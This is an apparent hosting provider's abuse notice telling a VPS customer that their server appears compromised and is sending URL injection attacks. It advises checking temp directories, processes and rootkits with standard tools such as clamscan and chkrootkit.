Hi,

We have received the following abuse report against your account. Please check the vps thoroughly for any vulnerable/suspicious process. Also make sure all scripts installed in your accounts are up to date and accounts passwords are updated regularly (always use strong password, combination of lower/upper case letters, numbers, symbols etc).

Report can be found below. Let us know the steps you have taken to resolve the issue.

NOTES:

URL Injection attacks typically mean the server for which the IP address of
the attacker is bound is a compromised server.

Please check the server behind the IP address above for suspicious files in
/tmp, /var/tmp, /dev/shm, /var/spool/samba, /var/spool/vbox,
/var/spool/squid, and /var/spool/cron Please use \"ls -lab\" for checking
directories as sometimes compromised servers will have hidden files that a
regular \"ls\" will not show.

Please also check the process tree (ps -efl or ps -auwx) for suspicious
processes; often times the malware / hack pretends to be an Apache process.

Clam Anti-virus, clamscan, can also be used to find commonly used PHP and
Perl-based hacks, including various php shells, on a server using the
\"--infected\" and \"--recursive\" options.

You may also want to check out using root kit detection tools -
http://www.chkrootkit.org/, http://www.rootkit.nl/, and http://
http://www.ossec.net/en/rootcheck.html as tools which should be used in
addition to checking the directories and process tree.

### EOF NOTES ###

Please take appropriate action to stop these attacks from happening.

Thank you very much for your time.
